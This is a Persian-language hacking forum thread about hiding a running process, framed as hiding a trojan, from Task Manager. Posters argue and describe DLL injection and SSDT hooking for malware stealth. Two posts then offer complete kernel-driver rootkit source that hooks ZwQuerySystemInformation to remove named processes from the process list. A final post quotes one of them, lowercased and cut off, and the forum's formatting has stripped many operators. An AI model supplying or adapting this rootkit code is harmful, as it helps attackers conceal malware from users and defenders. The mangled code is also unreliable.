اطلاعیه

Collapse
No announcement yet.

Hide Process مهم

Collapse
This topic is closed.
X
X
 
  • Filter
  • زمان
  • Show
Clear All
new posts

  • #16
    باشه تشکر از این که گفتی

    Comment


    • #17
      نوشته اصلی توسط keylogger نمایش پست ها
      من نمیدونم کونه همه از چی می سوزه
      باشه شما همتون قدیمی از زمان شاه این کا را رو می کنید اما هیچی نیستی فقط ادعا.....
      نوشته اصلی توسط keylogger نمایش پست ها
      اخر این پست یا دعوا میشه یا این که به تو و اون رفیقت رپطی نداره که من
      ببین دوست عزیز کسی اینجا نیومده با کسی دعوا کنه شما یا سنت خیلی کمه که داری از این ادبیات تو یه فروم عمومی استفاده میکنی یا اینکه واقعا شبگرد اولین فرومی هست که توش عضو شدی و طرز پست دادن رو بلد نیستی...
      به هر حال

      این سورسی که گذاشتی حالا یا خودت نوشتی یا از یه جا برداشتی گذاشتی روش کارش هرچی که هست یه روش ناقصه و توی هیچ تروجان حرفه ای استفاده نمیشه دلیلشم اینه که کسی که بخواد در سطح آماتور یه Remover طراحی کنه یا اصلا مشکوک بشه و بخواد دستی تروجان رو پیدا کنه هیچ وقت نمیاد از تسک منیجر استفاده کنه مگه اینکه طرف واقعا زیر خط آماتور باشه! این از این

      معمولا تروجانی که قراره حرفه ای طراحی بشه (x86/x64) هرچی که هست برای مخفی سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه و اون DLL رو به همه پروسه ها اینجکت میکنه.
      گام دوم هوک کردن توابع اجرایی هست که روتکیت کارش رو به صورت کاملا Stable و پایدار بتونه پیش ببره. به این صورت که بجز تابع فوق که برای مخفی سازی پروسه هستش باید توابعی مثل Nt/Zw CreateProcess و توابع مشابه اون رو که باعث ایجاد پروسه میشن رو هم هوک کنه بعد اینجوری مشخص میشه که زمان ایجاد پروسه جدید چه هندلی جدیدی رو باید بگیریم که DLL بعد از اون به صورت خودکار به پروسه جدید هم اینجکت بشه و تو پروسه جدید هم عمل مخفی سازی صورت بگیره...

      این روش خیلی ساده برای مخفی سازی یه پروسه هستش که میتونیم برای تروجان (در سطح یوزر) انجام بدیم

      روشهای دیگه ای هم هستن که با هوک کردن توابع رینگ 0 (اصطلاحا SSDT HOOK ) میتونیم مخفی سازی بهینه تری برای تروجان یا بدافزارمون داشته باشیم که بیشتر کسانی که به درایور نویسی آشنایی دارن به راحتی میتونن این کار رو هم انجام بدن.

      امیدوارم مطالبم مفید بوده باشه.

      روش فوق فقط برای TaskManager هست و کاربرد زیادی برای کسی نداره اگه منظور منو از پست اولم متوجه نشدی الان فکر میکنم که دیگه کامل منظورمو گرفتی!

      موفق باشید.

      انجام پروژه های نرم افزاری در کمترین زمان و نازلترین قیمت
      برای تماس به آیدی Arashjeyjey در یاهو مسنجر پیام بدید.

      http://www.jeyjey.blogfa.com

      Comment


      • #18
        دوست عزیز شما چی میگید من اصلا نگفتم این کد من نوشتم یک شما میای میگی اینجکت کن من فقط گفتم با سورس کد حرف بزنید این سورس کدایی که گذاشتی من هم همون سال دیدم

        اون بامزه r00tkıt دیگه اومده میگه کش رفتی اخه بگو تو توی زندگیت چه کاره مفیدی تو زمینه کاری بغیر از انالیز انجام دادی که به من میگی دزد در کل ببخشید من پست نباید بزارم ایراد از منه همه اینجا سالهاست کار کردند....

        Comment


        • #19
          نوشته اصلی توسط Z4R4THUSTR4 نمایش پست ها

          این سورسی که گذاشتی حالا یا خودت نوشتی یا از یه جا برداشتی گذاشتی روش کارش هرچی که هست یه روش ناقصه و توی هیچ تروجان حرفه ای استفاده نمیشه دلیلشم اینه که کسی که بخواد در سطح آماتور یه Remover طراحی کنه یا اصلا مشکوک بشه و بخواد دستی تروجان رو پیدا کنه هیچ وقت نمیاد از تسک منیجر استفاده کنه مگه اینکه طرف واقعا زیر خط آماتور باشه! این از این

          معمولا تروجانی که قراره حرفه ای طراحی بشه (x86/x64) هرچی که هست برای مخفی سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه و اون DLL رو به همه پروسه ها اینجکت میکنه.
          آقای حرفه ای! اگر سورس رو بخونید ( که گویا سی بلد نیستید ) خواهید دید که این طرف هم NtQuerySystemInformation رو هوک کرده.

          Comment


          • #20
            بله هوک کرده ولی این کد پروسه رو فقط برای تسک منیجر مخفی میکنه که روش مشابه اون هم تو کامنتهای قبلی توضیح دادم یه بار دیگه بخون

            انجام پروژه های نرم افزاری در کمترین زمان و نازلترین قیمت
            برای تماس به آیدی Arashjeyjey در یاهو مسنجر پیام بدید.

            http://www.jeyjey.blogfa.com

            Comment


            • #21
              سلام از اساتید یه سورس #c میخوام که برنامه درحال اجرا رو تو لیست پروسس های تسک منیجر نشون نده.
              تو گوگل زیاد سرچ کردم ولی دقیقاً این چیزی که میخواستم پیدا نکردم، درضمن سورس هایی هم که به زبان های دیگه بود یا تو ویندوز 64 بیتی 7 کار نمیکرد یا آنتی ویروس میشناخت ممنون میشم اگه کمک کنید.

              Comment


              • #22
                بیا داداش از این کد استفاده کنید مشکلتون حل میشه

                ضمیمه هم کردگ چون گفتم شاید اینجا زیاد حال کنید به صودت کدی



                کد PHP:
                #include "ntddk.h"   
                   
                #pragma pack(1)   
                typedef struct ServiceDe******orEntry {   
                        
                unsigned int *ServiceTableBase;   
                        
                unsigned int *ServiceCounterTableBase//Used only in checked build   
                        
                unsigned int NumberOfServices;   
                        
                unsigned char *ParamTableBase;   
                ServiceDe******orTableEntry_t, *PServiceDe******orTableEntry_t;   
                #pragma pack()   
                   
                __declspec(dllimport)  ServiceDe******orTableEntry_t KeServiceDe******orTable;   
                #define SYSTEMSERVICE(_function)  KeServiceDe******orTable.ServiceTableBase[ *(PULONG)((PUCHAR)_function+1)]   
                   
                   
                PMDL  g_pmdlSystemCall;   
                PVOID *MappedSystemCallTable;   
                #define SYSCALL_INDEX(_Function) *(PULONG)((PUCHAR)_Function+1)   
                #define HOOK_SYSCALL(_Function, _Hook, _Orig )  \   
                       
                _Orig = (PVOIDInterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG_Hook)   
                   
                #define UNHOOK_SYSCALL(_Function, _Hook, _Orig )  \   
                       
                InterlockedExchange( (PLONG) &MappedSystemCallTable[SYSCALL_INDEX(_Function)], (LONG_Hook)   
                   
                   
                struct _SYSTEM_THREADS   
                {   
                        
                LARGE_INTEGER           KernelTime;   
                        
                LARGE_INTEGER           UserTime;   
                        
                LARGE_INTEGER           CreateTime;   
                        
                ULONG                           WaitTime;   
                        
                PVOID                           StartAddress;   
                        
                CLIENT_ID                       ClientIs;   
                        
                KPRIORITY                       Priority;   
                        
                KPRIORITY                       BasePriority;   
                        
                ULONG                           ContextSwitchCount;   
                        
                ULONG                           ThreadState;   
                        
                KWAIT_REASON            WaitReason;   
                };   
                   
                struct _SYSTEM_PROCESSES   
                {   
                        
                ULONG                           NextEntryDelta;   
                        
                ULONG                           ThreadCount;   
                        
                ULONG                           Reserved[6];   
                        
                LARGE_INTEGER           CreateTime;   
                        
                LARGE_INTEGER           UserTime;   
                        
                LARGE_INTEGER           KernelTime;   
                        
                UNICODE_STRING          ProcessName;   
                        
                KPRIORITY                       BasePriority;   
                        
                ULONG                           ProcessId;   
                        
                ULONG                           InheritedFromProcessId;   
                        
                ULONG                           HandleCount;   
                        
                ULONG                           Reserved2[2];   
                        
                VM_COUNTERS                     VmCounters;   
                        
                IO_COUNTERS                     IoCounters//windows 2000 only   
                        
                struct _SYSTEM_THREADS          Threads[1];   
                };   
                   
                // Added by Creative of rootkit.com   
                struct _SYSTEM_PROCESSOR_TIMES   
                {   
                        
                LARGE_INTEGER                   IdleTime;   
                        
                LARGE_INTEGER                   KernelTime;   
                        
                LARGE_INTEGER                   UserTime;   
                        
                LARGE_INTEGER                   DpcTime;   
                        
                LARGE_INTEGER                   InterruptTime;   
                        
                ULONG                           InterruptCount;   
                };   
                   
                   
                NTSYSAPI   
                NTSTATUS   
                NTAPI ZwQuerySystemInformation
                (   
                            
                IN ULONG SystemInformationClass,   
                                        
                IN PVOID SystemInformation,   
                                        
                IN ULONG SystemInformationLength,   
                                        
                OUT PULONG ReturnLength);   
                   
                   
                typedef NTSTATUS (*ZWQUERYSYSTEMINFORMATION)(   
                            
                ULONG SystemInformationCLass,   
                                        
                PVOID SystemInformation,   
                                        
                ULONG SystemInformationLength,   
                                        
                PULONG ReturnLength   
                );   
                   
                ZWQUERYSYSTEMINFORMATION        OldZwQuerySystemInformation;   
                   
                // Added by Creative of rootkit.com   
                LARGE_INTEGER                   m_UserTime;   
                LARGE_INTEGER                   m_KernelTime;   
                   
                ///////////////////////////////////////////////////////////////////////   
                // NewZwQuerySystemInformation function   
                //   
                // ZwQuerySystemInformation() returns a linked list of processes.   
                // The function below imitates it, except it removes from the list any   
                // process who's name begins with "_root_".   
                   
                NTSTATUS NewZwQuerySystemInformation(   
                            
                IN ULONG SystemInformationClass,   
                            
                IN PVOID SystemInformation,   
                            
                IN ULONG SystemInformationLength,   
                            
                OUT PULONG ReturnLength)   
                {   
                   
                   
                NTSTATUS ntStatus;   
                   
                   
                ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (   
                                    
                SystemInformationClass,   
                                    
                SystemInformation,   
                                    
                SystemInformationLength,   
                                    
                ReturnLength );   
                   
                   if( 
                NT_SUCCESS(ntStatus))    
                   {   
                      
                // Asking for a file and directory listing   
                      
                if(SystemInformationClass == 5)   
                      {   
                         
                // This is a query for the process list.   
                         // Look for process names that start with   
                         // '_root_' and filter them out.   
                                       
                         
                struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;   
                         
                struct _SYSTEM_PROCESSES *prev NULL;   
                            
                         while(
                curr)   
                         {   
                            
                //DbgPrint("Current item is %x\n", curr);   
                            
                if (curr->ProcessName.Buffer != NULL)   
                            {   
                                if(
                == memcmp(curr->ProcessName.BufferL"_root_"12))   
                                {   
                                    
                m_UserTime.QuadPart += curr->UserTime.QuadPart;   
                                    
                m_KernelTime.QuadPart += curr->KernelTime.QuadPart;   
                   
                                    if(
                prev// Middle or Last entry   
                                    
                {   
                                        if(
                curr->NextEntryDelta)   
                                            
                prev->NextEntryDelta += curr->NextEntryDelta;   
                                        else    
                // we are last, so make prev the end   
                                            
                prev->NextEntryDelta 0;   
                                    }   
                                    else   
                                    {   
                                        if(
                curr->NextEntryDelta)   
                                        {   
                                            
                // we are first in the list, so move it forward   
                                            
                (char *)SystemInformation += curr->NextEntryDelta;   
                                        }   
                                        else 
                // we are the only process!   
                                            
                SystemInformation NULL;   
                                    }   
                                }   
                            }   
                            else 
                // This is the entry for the Idle process   
                            
                {   
                               
                // Add the kernel and user times of _root_*    
                               // processes to the Idle process.   
                               
                curr->UserTime.QuadPart += m_UserTime.QuadPart;   
                               
                curr->KernelTime.QuadPart += m_KernelTime.QuadPart;   
                   
                               
                // Reset the timers for next time we filter   
                               
                m_UserTime.QuadPart m_KernelTime.QuadPart 0;   
                            }   
                            
                prev curr;   
                            if(
                curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);   
                            else 
                curr NULL;   
                         }   
                      }   
                      else if (
                SystemInformationClass == 8// Query for SystemProcessorTimes   
                      
                {   
                         
                struct _SYSTEM_PROCESSOR_TIMES times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;   
                         
                times->IdleTime.QuadPart += m_UserTime.QuadPart m_KernelTime.QuadPart;   
                      }   
                   
                   }   
                   return 
                ntStatus;   
                }   
                   
                   
                VOID OnUnload(IN PDRIVER_OBJECT DriverObject)   
                {   
                   
                DbgPrint("ROOTKIT: OnUnload called\n");   
                   
                   
                // unhook system calls   
                   
                UNHOOK_SYSCALLZwQuerySystemInformationOldZwQuerySystemInformationNewZwQuerySystemInformation );   
                   
                   
                // Unlock and Free MDL   
                   
                if(g_pmdlSystemCall)   
                   {   
                      
                MmUnmapLockedPages(MappedSystemCallTableg_pmdlSystemCall);   
                      
                IoFreeMdl(g_pmdlSystemCall);   
                   }   
                }   
                   
                   
                NTSTATUS DriverEntry(IN PDRIVER_OBJECT theDriverObject,    
                                     
                IN PUNICODE_STRING theRegistryPath)   
                {   
                   
                // Register a dispatch function for Unload   
                   
                theDriverObject->DriverUnload  OnUnload;    
                   
                   
                // Initialize global times to zero   
                   // These variables will account for the    
                   // missing time our hidden processes are   
                   // using.   
                   
                m_UserTime.QuadPart m_KernelTime.QuadPart 0;   
                   
                   
                // save old system call locations   
                   
                OldZwQuerySystemInformation =(ZWQUERYSYSTEMINFORMATION)(SYSTEMSERVICE(ZwQuerySystemInformation));   
                   
                   
                // Map the memory into our domain so we can change the permissions on the MDL   
                   
                g_pmdlSystemCall MmCreateMdl(NULLKeServiceDe******orTable.ServiceTableBaseKeServiceDe******orTable.NumberOfServices*4);   
                   if(!
                g_pmdlSystemCall)   
                      return 
                STATUS_UNSUCCESSFUL;   
                   
                   
                MmBuildMdlForNonPagedPool(g_pmdlSystemCall);   
                   
                   
                // Change the flags of the MDL   
                   
                g_pmdlSystemCall->MdlFlags g_pmdlSystemCall->MdlFlags MDL_MAPPED_TO_SYSTEM_VA;   
                   
                   
                MappedSystemCallTable MmMapLockedPages(g_pmdlSystemCallKernelMode);   
                   
                   
                // hook system calls   
                   
                HOOK_SYSCALLZwQuerySystemInformationNewZwQuerySystemInformationOldZwQuerySystemInformation );   
                                                 
                   return 
                STATUS_SUCCESS;   

                فایل های پیوست شده
                www.Ragvel.com

                www.Ahon.ir

                Comment


                • #23
                  نوشته اصلی توسط JeyJey نمایش پست ها

                  معمولا تروجانی که قراره حرفه ای طراحی بشه (x86/x64) هرچی که هست برای مخفی سازیش از لیست پروسه ها میاد یه تابع به اسم NtQuerySystemInformation رو تو یه DLL هوک میکنه و اون DLL رو به همه پروسه ها اینجکت میکنه.
                  گام دوم هوک کردن توابع اجرایی هست که روتکیت کارش رو به صورت کاملا Stable و پایدار بتونه پیش ببره. به این صورت که بجز تابع فوق که برای مخفی سازی پروسه هستش باید توابعی مثل Nt/Zw CreateProcess و توابع مشابه اون رو که باعث ایجاد پروسه میشن رو هم هوک کنه بعد اینجوری مشخص میشه که زمان ایجاد پروسه جدید چه هندلی جدیدی رو باید بگیریم که DLL بعد از اون به صورت خودکار به پروسه جدید هم اینجکت بشه و تو پروسه جدید هم عمل مخفی سازی صورت بگیره...

                  این روش خیلی ساده برای مخفی سازی یه پروسه هستش که میتونیم برای تروجان (در سطح یوزر) انجام بدیم

                  روشهای دیگه ای هم هستن که با هوک کردن توابع رینگ 0 (اصطلاحا SSDT HOOK ) میتونیم مخفی سازی بهینه تری برای تروجان یا بدافزارمون داشته باشیم که بیشتر کسانی که به درایور نویسی آشنایی دارن به راحتی میتونن این کار رو هم انجام بدن.

                  امیدوارم مطالبم مفید بوده باشه.

                  موفق باشید.
                  این روشی که میگی درسته : یعنی SSDT Hooking اما یکم قدیمی شده و الان آنتی ویروس ها چون بیشتر روی Signature Database که بر اساس رفتار هست کار میکنند پس خیلی زود Detect میشه
                  اینم یه نمونه قوی از SSDT Hook

                  کد PHP:
                  #ifdef __cplusplus
                  extern "C"
                  {
                  #endif

                  #include <ntddk.h>

                  #pragma pack(1)
                  typedef struct ServiceDe******orEntry
                  {
                      
                  unsigned int *ServiceTableBase;
                      
                  unsigned int *ServiceCounterTableBase//Used only in checked build
                      
                  unsigned int NumberOfServices;
                      
                  unsigned char *ParamTableBase;
                  ServiceDe******orTableEntry_t, *PServiceDe******orTableEntry_t;
                  #pragma pack()

                  typedef struct _SYSTEM_PROCESS_INFORMATION
                  {
                      
                  ULONG NextEntryOffset;
                      
                  ULONG NumberOfThreads;
                      
                  LARGE_INTEGER SpareLi1;
                      
                  LARGE_INTEGER SpareLi2;
                      
                  LARGE_INTEGER SpareLi3;
                      
                  LARGE_INTEGER CreateTime;
                      
                  LARGE_INTEGER UserTime;
                      
                  LARGE_INTEGER KernelTime;
                      
                  UNICODE_STRING ImageName;
                      
                  KPRIORITY BasePriority;
                      
                  HANDLE UniqueProcessId;
                      
                  HANDLE InheritedFromUniqueProcessId;
                      
                  ULONG HandleCount;
                      
                  ULONG SessionId;
                      
                  ULONG_PTR PageDirectoryBase;
                      
                  SIZE_T PeakVirtualSize;
                      
                  SIZE_T VirtualSize;
                      
                  ULONG PageFaultCount;
                      
                  SIZE_T PeakWorkingSetSize;
                      
                  SIZE_T WorkingSetSize;
                      
                  SIZE_T QuotaPeakPagedPoolUsage;
                      
                  SIZE_T QuotaPagedPoolUsage;
                      
                  SIZE_T QuotaPeakNonPagedPoolUsage;
                      
                  SIZE_T QuotaNonPagedPoolUsage;
                      
                  SIZE_T PagefileUsage;
                      
                  SIZE_T PeakPagefileUsage;
                      
                  SIZE_T PrivatePageCount;
                      
                  LARGE_INTEGER ReadOperationCount;
                      
                  LARGE_INTEGER WriteOperationCount;
                      
                  LARGE_INTEGER OtherOperationCount;
                      
                  LARGE_INTEGER ReadTransferCount;
                      
                  LARGE_INTEGER WriteTransferCount;
                      
                  LARGE_INTEGER OtherTransferCount;
                  SYSTEM_PROCESS_INFORMATION, *PSYSTEM_PROCESS_INFORMATION;;

                  extern ServiceDe******orTableEntry_t KeServiceDe******orTable;
                  NTKERNELAPI NTSTATUS ZwQuerySystemInformationIN ULONG SystemInformationClassIN PVOID SystemInformationIN ULONG SystemInformationLengthOUT PULONG ReturnLength );

                  typedef NTSTATUS( *ZWQUERYSYSTEMINFORMATION )( ULONG SystemInformationCLassPVOID SystemInformationULONG SystemInformationLengthPULONG ReturnLength );
                  ZWQUERYSYSTEMINFORMATION OldZwQuerySystemInformation;
                  PMDL  pMdlSSDT NULL;
                  PVOIDpMapSSDT NULL;

                  ULONG GetSysFuncIndexULONG pFunc )
                  {
                      
                  // Â¼Ã†Ã‹Ã£Â·Â½Â·Â¨Â²ÃŽÂ¿Â¼Â£Âº[url]http://blog.csdn.net/yjz1409276/article/details/17049417[/url]
                      
                  return *( PULONG )( ( PUCHAR )pFunc );
                  }

                  ULONG GetSysFuncAddrULONG pFunc )
                  {
                      
                  ULONG FuncIndex GetSysFuncIndexpFunc );
                      return *( ( ( 
                  PULONG ) * KeServiceDe******orTable.ServiceTableBase ) + FuncIndex );
                  }

                  ULONG HookSysFuncULONG pSysFuncULONG pNewFunc )
                  {
                      
                  KdPrint( ( "Enter HookSysFunc/n" ) );
                      
                  __try
                      
                  {
                          
                  PULONG pSysAddr = ( PULONG )( pMapSSDT ) + GetSysFuncIndexpSysFunc );
                          return 
                  InterlockedExchange( ( PLONG )pSysAddr , ( ULONG )pNewFunc );
                      }
                      
                  __except EXCEPTION_EXECUTE_HANDLER )
                      {
                          
                  KdPrint( ( "HookSysFunc Occurred Exception/n" ) );
                      }
                  }

                  ULONG UnHookSysFuncULONG pSysFuncULONG pOldFunc )
                  {
                      
                  KdPrint( ( "Enter UnHookSysFunc/n" ) );
                      
                  __try
                      
                  {
                          
                  PULONG pSysAddr = ( PULONG )( pMapSSDT ) + GetSysFuncIndexpSysFunc );
                          return 
                  InterlockedExchange( ( PLONG )pSysAddr , ( ULONG pOldFunc );
                      }
                      
                  __except EXCEPTION_EXECUTE_HANDLER )
                      {
                          
                  KdPrint( ( "UnHookSysFunc Occurred Exception/n" ) );
                      }
                      return 
                  0;
                  }

                  VOID DriverUnloadIN PDRIVER_OBJECT DriverObject )
                  {
                      
                  KdPrint( ( "Enter DriverUnload/n" ) );
                      
                      
                  UnHookSysFunc( ( ULONG )ZwQuerySystemInformation, ( ULONG )OldZwQuerySystemInformation );
                      
                      if ( 
                  NULL != pMdlSSDT )
                      {
                          
                  MmUnmapLockedPagespMapSSDTpMdlSSDT );
                          
                  IoFreeMdlpMdlSSDT );
                      }
                  }

                  NTSTATUS NewZwQuerySystemInformationIN ULONG SystemInformationClassIN PVOID SystemInformationIN ULONG SystemInformationLengthOUT PULONG ReturnLength )
                  {
                      
                  KdPrint( ( "Enter NewZwQuerySystemInformation/n" ) );
                      
                      
                  NTSTATUS ntStatus;
                      
                      
                  ntStatus = ( ( ZWQUERYSYSTEMINFORMATION )( OldZwQuerySystemInformation ) )( SystemInformationClassSystemInformationSystemInformationLengthReturnLength );
                      
                      if ( 
                  NT_SUCCESSntStatus ) )
                      {
                          if ( 
                  SystemInformationClass == )
                          {
                              
                  PSYSTEM_PROCESS_INFORMATION curr = ( PSYSTEM_PROCESS_INFORMATION )SystemInformation;
                              
                  PSYSTEM_PROCESS_INFORMATION prev NULL;
                              
                  UNICODE_STRING hideName;
                              
                  RtlInitUnicodeString( &hideNameL"Demo.exe" );
                              while ( 
                  curr )
                              {
                                  
                  //DbgPrint("Current item is %x\n", curr);
                                  
                  if ( curr->ImageName.Buffer != NULL )
                                  {
                                      if ( 
                  == RtlCompareUnicodeString( &curr->ImageName, &hideNameFALSE ) )
                                      {
                                          if ( 
                  prev // Middle or Last entry
                                          
                  {
                                              if ( 
                  curr->NextEntryOffset )
                                                  
                  prev->NextEntryOffset += curr->NextEntryOffset;
                                              else    
                  // we are last, so make prev the end
                                                  
                  prev->NextEntryOffset 0;
                                          }
                                          else
                                          {
                                              if ( 
                  curr->NextEntryOffset )
                                              {
                                                  
                  // we are first in the list, so move it forward
                                                  
                  SystemInformation = ( PCHAR )SystemInformation curr->NextEntryOffset;
                                              }
                                              else 
                  // we are the only process!
                                                  
                  SystemInformation NULL;
                                          }
                                      }
                                  }
                                  
                  prev curr;
                                  if ( 
                  curr->NextEntryOffset )
                                      ( 
                  curr = ( PSYSTEM_PROCESS_INFORMATION )( ( PCHAR )curr curr->NextEntryOffset ) );
                                  else
                                      
                  curr NULL;
                              }
                          }
                      }
                      return 
                  ntStatus;
                  }

                  NTSTATUS DefaultHandlerIN PDEVICE_OBJECT DeviceObjectIN PIRP Irp )
                  {
                      
                  KdPrint( ( "Enter DefaultHandler/n" ) );
                      
                      
                  Irp->IoStatus.Status STATUS_NOT_SUPPORTED;
                      
                  Irp->IoStatus.Information 0;
                      
                  IoCompleteRequestIrpIO_NO_INCREMENT );
                      return 
                  Irp->IoStatus.Status;
                  }

                  NTSTATUS DriverEntryIN PDRIVER_OBJECT DriverObjectIN PUNICODE_STRING  RegistryPath )
                  {
                      
                  KdPrint( ( "Enter DriverEntry/n" ) );
                      
                      for ( 
                  int i 0<= IRP_MJ_MAXIMUM_FUNCTIONi++ )
                      {
                          
                  DriverObject->MajorFunction[i] = DefaultHandler;
                      }
                      
                      
                  DriverObject->DriverUnload  DriverUnload;
                      
                      
                  __try
                      
                  {
                          
                  OldZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetSysFuncAddr( ( ULONG )ZwQuerySystemInformation );
                          
                  //        pMdlSSDT = MmCreateMdl( NULL, ( PULONG ) * KeServiceDe******orTable.ServiceTableBase, KeServiceDe******orTable.NumberOfServices * 4 );
                          
                  pMdlSSDT IoAllocateMdl( ( PULONG ) * KeServiceDe******orTable.ServiceTableBase,
                                                    
                  KeServiceDe******orTable.NumberOfServices 4FALSEFALSENULL );
                          if ( 
                  NULL == pMdlSSDT )
                          {
                              return 
                  STATUS_UNSUCCESSFUL;
                          }
                          
                  MmBuildMdlForNonPagedPoolpMdlSSDT );
                          
                  pMdlSSDT->MdlFlags |= MDL_MAPPED_TO_SYSTEM_VA;
                          
                  //        pMapSSDT = ( PVOID* )MmMapLockedPages( pMdlSSDT, KernelMode );
                          
                  pMapSSDT = ( PVOID* )MmMapLockedPagesSpecifyCachepMdlSSDTKernelModeMmNonCachedNULLFALSEHighPagePriority );
                          if ( 
                  NULL == pMapSSDT )
                          {
                              return 
                  STATUS_UNSUCCESSFUL;
                          }
                          
                          
                  HookSysFunc( ( ULONG )ZwQuerySystemInformation , ( ULONG )NewZwQuerySystemInformation );
                          return 
                  STATUS_SUCCESS;
                      }
                      
                  __except EXCEPTION_EXECUTE_HANDLER )
                      {
                      
                      }
                      return 
                  STATUS_UNSUCCESSFUL;
                      
                  }

                  #ifdef __cplusplus
                  }
                  #endif 
                  www.Ragvel.com

                  www.Ahon.ir

                  Comment


                  • #24
                    نوشته اصلی توسط ciph3r نمایش پست ها
                    بیا داداش از این کد استفاده کنید مشکلتون حل میشه

                    ضمیمه هم کردگ چون گفتم شاید اینجا زیاد حال کنید به صودت کدی



                    کد PHP:
                    #include "ntddk.h"   
                       
                    #pragma pack(1)   
                    typedef struct servicede******orentry {   
                            
                    unsigned int *servicetablebase;   
                            
                    unsigned int *servicecountertablebase//used only in checked build   
                            
                    unsigned int numberofservices;   
                            
                    unsigned char *paramtablebase;   
                    servicede******ortableentry_t, *pservicede******ortableentry_t;   
                    #pragma pack()   
                       
                    __declspec(dllimport)  servicede******ortableentry_t keservicede******ortable;   
                    #define systemservice(_function)  keservicede******ortable.servicetablebase[ *(pulong)((puchar)_function+1)]   
                       
                       
                    pmdl  g_pmdlsystemcall;   
                    pvoid *mappedsystemcalltable;   
                    #define syscall_index(_function) *(pulong)((puchar)_function+1)   
                    #define hook_syscall(_function, _hook, _orig )  \   
                           
                    _orig = (pvoidinterlockedexchange( (plong) &mappedsystemcalltable[syscall_index(_function)], (long_hook)   
                       
                    #define unhook_syscall(_function, _hook, _orig )  \   
                           
                    interlockedexchange( (plong) &mappedsystemcalltable[syscall_index(_function)], (long_hook)   
                       
                       
                    struct _system_threads   
                    {   
                            
                    large_integer           kerneltime;   
                            
                    large_integer           usertime;   
                            
                    large_integer           createtime;   
                            
                    ulong                           waittime;   
                            
                    pvoid                           startaddress;   
                            
                    client_id                       clientis;   
                            
                    kpriority                       priority;   
                            
                    kpriority                       basepriority;   
                            
                    ulong                           contextswitchcount;   
                            
                    ulong                           threadstate;   
                            
                    kwait_reason            waitreason;   
                    };   
                       
                    struct _system_processes   
                    {   
                            
                    ulong                           nextentrydelta;   
                            
                    ulong                           threadcount;   
                            
                    ulong                           reserved[6];   
                            
                    large_integer           createtime;   
                            
                    large_integer           usertime;   
                            
                    large_integer           kerneltime;   
                            
                    unicode_string          processname;   
                            
                    kpriority                       basepriority;   
                            
                    ulong                           processid;   
                            
                    ulong                           inheritedfromprocessid;   
                            
                    ulong                           handlecount;   
                            
                    ulong                           reserved2[2];   
                            
                    vm_counters                     vmcounters;   
                            
                    io_counters                     iocounters//windows 2000 only   
                            
                    struct _system_threads          threads[1];   
                    };   
                       
                    // added by creative of rootkit.com   
                    struct _system_processor_times   
                    {   
                            
                    large_integer                   idletime;   
                            
                    large_integer                   kerneltime;   
                            
                    large_integer                   usertime;   
                            
                    large_integer                   dpctime;   
                            
                    large_integer                   interrupttime;   
                            
                    ulong                           interruptcount;   
                    };   
                       
                       
                    ntsysapi   
                    ntstatus   
                    ntapi zwquerysysteminformation
                    (   
                                
                    in ulong systeminformationclass,   
                                            
                    in pvoid systeminformation,   
                                            
                    in ulong systeminformationlength,   
                                            
                    out pulong returnlength);   
                       
                       
                    typedef ntstatus (*zwquerysysteminformation)(   
                                
                    ulong systeminformationclass,   
                                            
                    pvoid systeminformation,   
                                            
                    ulong systeminformationlength,   
                                            
                    pulong returnlength   
                    );   
                       
                    zwquerysysteminformation        oldzwquerysysteminformation;   
                       
                    // added by creative of rootkit.com   
                    large_integer                   m_usertime;   
                    large_integer                   m_kerneltime;   
                       
                    ///////////////////////////////////////////////////////////////////////   
                    // newzwquerysysteminformation function   
                    //   
                    // zwquerysysteminformation() returns a linked list of processes.   
                    // the function below imitates it, except it removes from the list any   
                    // process who's name begins with "_root_".   
                       
                    Ntstatus newzwquerysysteminformation(   
                                
                    in ulong systeminformationclass,   
                                
                    in pvoid systeminformation,   
                                
                    in ulong systeminformationlength,   
                                
                    out pulong returnlength)   
                    {   
                       
                       
                    ntstatus ntstatus;   
                       
                       
                    ntstatus = ((zwquerysysteminformation)(oldzwquerysysteminformation)) (   
                                        
                    systeminformationclass,   
                                        
                    systeminformation,   
                                        
                    systeminformationlength,   
                                        
                    returnlength );   
                       
                       if( 
                    nt_success(ntstatus))    
                       {   
                          
                    // asking for a file and directory listing   
                          
                    if(systeminformationclass == 5)   
                          {   
                             
                    // this is a query for the process list.   
                             // look for process names that start with   
                             // '_root_' and filter them out.   
                                           
                             
                    Struct _system_processes *curr = (struct _system_processes *)systeminformation;   
                             
                    struct _system_processes *prev null;   
                                
                             while(
                    curr)   
                             {   
                                
                    //dbgprint("current item is %x\n", curr);   
                                
                    if (curr->processname.buffer != null)   
                                {   
                                    if(
                    == memcmp(curr->processname.bufferl"_root_"12))   
                                    {   
                                        
                    m_usertime.quadpart += curr->usertime.quadpart;   
                                        
                    m_kerneltime.quadpart += curr->kerneltime.quadpart;   
                       
                                        if(
                    prev// middle or last entry   
                                        
                    {   
                                            if(
                    curr->nextentrydelta)   
                                                
                    prev->nextentrydelta += curr->nextentrydelta;   
                                            else    
                    // we are last, so make prev the end   
                                                
                    prev->nextentrydelta 0;   
                                        }   
                                        else   
                                        {   
                                            if(
                    curr->nextentrydelta)   
                                            {   
                                                
                    // we are first in the list, so move it forward   
                                                
                    (char *)systeminformation += curr->nextentrydelta;   
                                            }   
                                            else 
                    // we are the only process!   
                                                
                    Systeminformation null;   
                                        }   
                                    }   
                                }   
                                else 
                    // this is the entry for the idle process   
                                
                    {   
                                   
                    // add the kernel and user times of _root_*    
                                   // processes to the idle process.   
                                   
                    Curr->usertime.quadpart += m_usertime.quadpart;   
                                   
                    curr->kerneltime.quadpart += m_kerneltime.quadpart;   
                       
                                   
                    // reset the timers for next time we filter   
                                   
                    m_usertime.quadpart m_kerneltime.quadpart 0;   
                                }   
                                
                    prev curr;   
                                if(
                    curr->nextentrydelta) ((char *)curr += curr->nextentrydelta);   
                                else 
                    curr null;   
                             }   
                          }   
                          else if (
